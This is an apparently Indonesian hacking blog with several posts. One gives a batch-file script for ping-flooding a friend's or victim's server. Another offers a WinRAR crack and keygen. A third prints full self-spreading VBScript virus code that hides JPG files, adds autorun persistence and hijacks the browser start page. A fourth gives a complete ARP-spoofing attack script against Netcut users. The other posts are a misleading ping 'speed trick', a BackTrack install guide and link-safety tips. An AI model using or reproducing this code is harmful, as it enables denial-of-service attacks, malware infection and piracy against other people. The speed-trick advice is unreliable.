Minggu, 22 Desember 2013

0 Cara Membuat Aplikasi DDOS Menggunakan Script

Membuat Alat Serangan DDOS Dengan Notepad 
Di sini saya hanya ingin berbagi dengan Anda bagaimana untuk membuat
aplikasi DDOS (Distributed Denial of Service) dengan bantuan sebuah file batch ..
Sesuatu yang perlu kita lakukan sebagai berikut ..

1.Open Notepad

2.Copy script ini ke notepad :


@echo off
mode 67,16
title DDOS Attack
color 05
cls
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo DDOS Bayu Ae
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p x=Apa-Target Loe:
echo.
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ping %x%
echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=Ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0c
echo Serang Server %m%
ping %m% -i %n% -t >nul
goto DDOS


3.Simpan sebagai batchfile.
contoh: DDOS.bat
 

Cara Menggunakan
Di -Sasaran Server masukan menu
alamat web / Ip teman Anda bahwa Anda ingin DDOS
misalnya seperti ini:


klik untuk membuka  file batch ..

masukan  situs korban
















mendapatkan IP Korban
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Dan kemudian masukan hasil IP ping di host dan
Ukuran paket untuk itu untuk mengirim jumlah byte menjadi
Ukuran terserah Anda
misalnya seperti ini
 
 
 
 
 
 
 
 
 
 
 
 
 
 
kemudian tekan "ENTER" hasil seperti ini
 

Sabtu, 21 Desember 2013

0 WinRAR 4.20 Full Crack, Patch & Keygen

Kali ini berbagi crack untuk Crack WinRAR All Version 2013 WinRAR Latest Version 4.20 Keygen Serial Key Number Patch Crack Full 2013 WinRAR keygen download WinRAR crack WinRAR keygen 2013 WinRAR keygen full Download WinRAR keygen crack WinRAR 4.20 keygen WinRAR 4.20 keygen WinRAR 4.20 patch WinRAR crack WinRAR patch crack Download WinRAR patch crack WinRAR keygen WinRAR serial WinRAR 4.20 serial WinRAR serial key WinRAR crack WinRAR keygen.
WINRAR 4.20 Full Crack Patch Keygen
Arti, Maksud, Pengertian atau Definisi WinRAR adalah aplikasi untuk mengkompres dan mengekstrak data (file/folder),dengan kemamapuan kompresinya winrar dapat mengeciakan ukuran memory dari suatu file. winrar dapat berjalan di sistem windows versi 32 bit dan versi 64 bit. winrar bagus digunakan untuk menangani masalah kompresi dan ekstrasi file atau folder, dan juga dapat mengamankan file atau folder dari serangan virus yang bikin kesal.
WinRAR tersedia untuk beberapa sistem operasi, diantanya: Windows, Linux, FreeBSD, OS2, dan MacOS X.
Fitur yang dimiliki WinRAR adalah mendukung semua format kompresi populer seperti ekstensi RAR, ZIP, CAB, ARJ, LZH, ACE, TAR, GZip, UUE, ISO, NRG, JAR, BZIP2, Z and 7-Zip . Dan jika menurut anda ada folder-folder ataupun file – file penting yang harus dan tidak ingin orang lain membukanya maka dengan program ini kita bisa memberi sebuah password di folder ataupun files itu. (iipkunaepi.wordpress.com)
Untuk melakukan Crack WinRAR versi terakhir, yang perlu dipersiapkan adalah
  1. Download file crack
  2. Download dan Install WinRAR
  3. Jalankan crack
Petunjuk lengkap Instalasi:
1) Install winrar  sampe selesai
2) Jangan jalankan dulu program/pastikan program WinRAR tidak sedang berjalan
3) Jalankan “Keygen.exe”
4) Isi kolom Name terserah anda (nama anda misalnya), kolom license biarkan saja (bebas di isi)
5) Klik Generate -> Yes, Jika terbuka window baru klik saja Save – Ok
6) Selesai!
Berikut adalah screen shoot hasil crack WinRAR Latest Version
WinRAR Keygen - Cracked
Download Link Keygen + Patch:
SUMBER -- >> BINUS HACKER (PASS)

0 Cara Membuat Virus Menggunakan Visual Basic (VB)

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()
Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Source: c o k e l a t n e t[dot]b l  o g s p o t[dot] c o m
Silakan Ber Eksperimen Dengan Ide-Ide yang lain, Cheers..
Jangan lupa untuk sharing kepada yang lain ya :)

Jumat, 20 Desember 2013

2 Browsing Lebih Cepat dalam Jaringan Wifi dengan Trik Cmd

Trik ini lebih efisien dibandingkan menggunakan software, penggunaan software hanya meningkatkan browsing saja, untuk download tetap normal tanpa ada perubahan, contoh softwarenya “NetCut”. kelemahan software ini sering di anggap oleh Anti Virus sebagai Virus Trojan. daripada repo-repot mematikan anti virus pake cara ini saja lebih aman dan mudah proses download bisa berlipat ganda kecepatanya, ow iya jangan lupa pake IDM ya biar tambah mantep downloadnya. maaf bro tidak ada screenshootnya maklum tidak bisa meload gambar.  langsung saja prakteknya mudah ko’:
  1. buka cmd: klik start, ketikan cmd pada kotak search
  1. Maka akan muncul tampilan cmd
  1. Ketikan ipconfig /all kemudian enter
  2. akan muncul tampilan list dalam cmd
  1. Cari DNS SERVER catat DNS SERVER-nya contoh: 192.168.10.252
  2. buka cmd lagi ketikan perintah “ping –l 500 DNS SERVER –t” ingat ketik tanpa tanda kutip “_”. 500 berarti perintah kecepatann yang kita inginkan 500 berarti sama dengan 5 mb/s bisa diganti sesuka hati. contoh: ping -l 500 192.168.10.252 -t
  3. maka akan muncul tampilan cmd proses. ingat cmd prosesnya jangan ditutup minimize saja.
  1. Sekarang browsing dan download anda menjadi lebih cepat
  2. sekian terimakasih info dari saya, semoga ini bermanfaat. Tapi ingat jangan berlebihan kasihan yang lainya.

0 Serang Balik Pengguna Netcut

Koneksi putus bukan menjadi sebuah dilema lagi, melainkan bisa dikarenakan beberapa sebab. Terutama di hotspot gratisan atau di warnet-warnet, kalau koneksi kita lemot dan tidak bisa akses internet dengan tidak normal, mungkin salah satunya karena ada pengguna warnet lainnya yang menggunakan NETCUT.
Agar tidak bete karena loading lama, serang balik saja pengguna NETCUT tersebut.
Attack Netcut
Langkahnya adalah:
  1. Harus sudah terdapat python compiler di komputer
  2. Download toolsnya disini: http://1337day.com/exploits/17338
  3. Jalankan tools tersebut dengan compile: python filenameexploit.py [ethernet] [macaddress], contoh:python netcutkiller.py eth0 A1:B2:C3:D4:E5:F6
Code exploitnya adalah sebagai berikut:
[crayon lang="py"]
#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz : ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys
#gw_mac = commands.getoutput(“arp -i %s | grep %s” % (conf.iface,conf.iface)).split()[2]
gw_ip = commands.getoutput(“ip route list | grep default”).split()[2]
def protect(gw_ip,gw_mac):
os.popen(“arp -s %s %s” %(gw_ip,gw_mac))
print “Protected himself”
def detect():
ans = sniff(filter=’arp’,timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf(“%ARP.pdst% %ARP.hwsrc% %ARP.psrc%”))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print “Detecting…”
d = detect()
for i in range(len(d)):
if d[i].split()[0] == “255.255.255.255″:
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print "[-] No one use Netcut or try again"
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
print “There is a possibility that ” + str(result) + “%”
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print “[+]Detected, Netcut using by IP %s MAC %s” %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print “[-] No one use Netcut or try again”
def attack(target_mac,target_ip,gw_ip):
print “[+]Counter Attack !!!”
e = Ether(dst=”FF:FF:FF:FF:FF:FF”)
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding(“\x00″*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding(“\x00″*18)
sendp(p1,verbose=0)
if __name__ == ‘__main__’:
os.system(“clear”)
print “###################################################”
print ” __ __ __ __ _____ __ __ _ _”
print “| \/ | \ \ / / / ____| \ \ / / | \ | |”
print “| \ / | __ \ \_/ /_ _| (___ __\ \ / /__| \| |”
print “| |\/| |/ _\ \ / _\ |\___ \ / _ \ \/ / _ \ . \ |”
print “| | | | (_| || | (_| |____) | __/\ / __/ |\ |”
print “|_| |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|”
print ” ”
print “###################################################”
print “”
print “http://mayaseven.blogspot.com”
print “”
if len(sys.argv) == 2 or len(sys.argv) == 3:
if len(sys.argv) == 2:
conf.iface=sys.argv[1]
preattack(gw_ip)
if len(sys.argv) == 3:
conf.iface=sys.argv[1]
gw_mac = sys.argv[2]
protect(gw_ip,gw_mac)
preattack(gw_ip)
else:
print ”’Mode:
1.)Attack only
Usage: NetcutKiller 
e.g. NetcutKiller.py wlan0
2.)Attack with protect himself
Usage: NetcutKiller 
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
”’

0 Teknik Mencegah Link Penipuan

Teknik Mencegah Link Penipuan

pencegahannya dengan 2 buah plugin pada Mozilla Firefox.
Ilustrasi
Anda dikirimi sebuah link dengan layanan pemendek url saat online di sebuah social media oleh rekan Anda, seperti artikel di atas.
Jangan membukanya secara semena-mena, kita tidak tahu apakah ada IP logger atau bahaya lain di balik itu, lebih baik kita gunakan plugin firefox berikut :

Kita bahas plugin pertama, yaitu Anonymouse.org 2.0
Plugin ini hanya bekerja pada link (bukan teks biasa) yang sudah kita klik kanan dan dimunculkan pop-up kemudian klik Open Link Anonymously
Setelah kita klik, muncul jendela atau tab baru (tergantung pengaturan plugin Anda) menuju ke link tujuan yang sudah didahalui dengan web-proxy dari anonymous.org
Saya menaruh sebuah IP logger di halaman tersebut, tetapi berkat web-proxy, IP Anda berhasil disamarkan, kalau Anda membukanya secara normal tanpa proxy, IP public Anda akan kelihatan
IP dari anonymous.org yang gratis selalu berawalan dengan 193.bla.bla.bla, jadi jika Anda juga menggunakan IP logger lalu korban anda menggunakan ip berawalan 193, MUNGKIN korban Anda juga menggunakan layanan ini
Selanjutnya, plugin yang kedua adalah Long Url Please 0.4.4
Plugin ini akan merubah banyak layanan pemendek URL menjadi URL asli (akan tetapi tidak dapat digunakan pada social media dan text bukan link)
Sebagai perbandaingan, amati gambar pertama dimana http://pakarti.web.id/galau/index.wow dibuka dengan google chrome tanpa plugin.
Hasilnya link yang pendek tersebut tidak berubah, tetapi bila dibuka dengan firefox akan ketahuan bahwa url aslinya adalah http://pakarti.web.id/galau/index.wow (tergantung dari pengaturan Anda)
Demikianlah sedikit tips yang dapat kami berikan, semoga bermanfaat :)

0 Cara Menginstall BackTrack 5 r3 Dual Boot Dengan Windows

Sebelum kita mulai kita harus mengosongkan satu partisi yang akan kita tempatkan untuk menginstall BackTrack ini minimal 20 GB biar ada ruang yang digunakan untuk menginstall aplikasi-aplikasi kebutuhan kita, karena File System besarnya mencapai 11 GB.
Oke pertama-tama siapkan dulu CD BackTrack 5 r3 atau bisa juga menggunakan Flashdisk sebagai pengganti CD. Kalau belum punya silahkan download aja langsung dari situs resminyadisini dan cara downloadnya disini sedangkan cara booting melalui Flashdisk disini.
Oke setelah semuanya kelar masukkan CD Installer atau kalau menggunakan flashdisk colokkan flashdisknya. Lalu booting melalui CD/Flashdisk. Lalu tunggu sebentar sampai keluar tulisan "boot" lalu tekan Enter setelah itu tunggu lagi sampai keluar seperti gambar berikut :
Setelah keluar tampilan seperti diatas pilih saja "BackTrack Text - Default Boot Text Mode" atau yang paling atas kemudian tunggu sebentar sampai keluar tampilan berikut :
Kemudian ketikkan "startx" tanpa tanda petik seperti gambar diatas lalu tekan enter. dan tunggu lagi sampai prosesnya selesai.
dan munculah tampilan seperti diatas. Di klik saja.
di klik lagi.
atur lokasi sesuai dengan waktu ditempat anda bila anda berada di wilayah WIB pilih saja "Indonesia (Jakarta)" jika WIT pilih "Indonesia (Pontianak)" dan jika WITA pilih saja "Indonesia (Makassar)" lalu forward.
dibiarkan saja klik forward lagi.

lalu pilih saja "Specify partitions manually (advanced)" supaya kita yang akan menentukan di partisi mana kita akan menginstallnya. oke forward lagi.
nah disini kita akan menentukan di partisi mana kita akan menginstallnya. seperti gambar diatas, saya sudah mengosongkan satu partisi. oke sekarang klik saja "Add" kemudian keluar tampilan seperti berikut :
dibagian 'Type for the new partition' pilih saja "Logical" dan di 'Location for the new partition' pilih saja "End" supaya partisinya berada di paling akhir karena kalu kita pilih "Beginning" partisinya akan berada di paling awal, di bagian 'Use as' pilih "Ext4 journalling file system" karena kalau kita menggunakan "NTFS" backtracknya tidak akan bisa booting, sebab file system Linux dengan Windows itu berbeda tidak sama seperti Windows yang menggunakan format "NTFS". kemudian pada 'Mount point' pilih saja "/" supaya bootingnya bisa lancar dan bisa langsung dual boot dengan Windows. klik OK dan klik forward lagi.
dicentang saja seperti gambar diatas kli forward lagi.
klik Continue.
langsung klik Install.
dan tunggu sampai prosesnya selesai setelah selesai klik saja Restart biar langsung bisa dicoba tanpa menggunakan Live CD.
Oke sekian tutorial ini saya buat semoga bermanfaat.
Wassalam..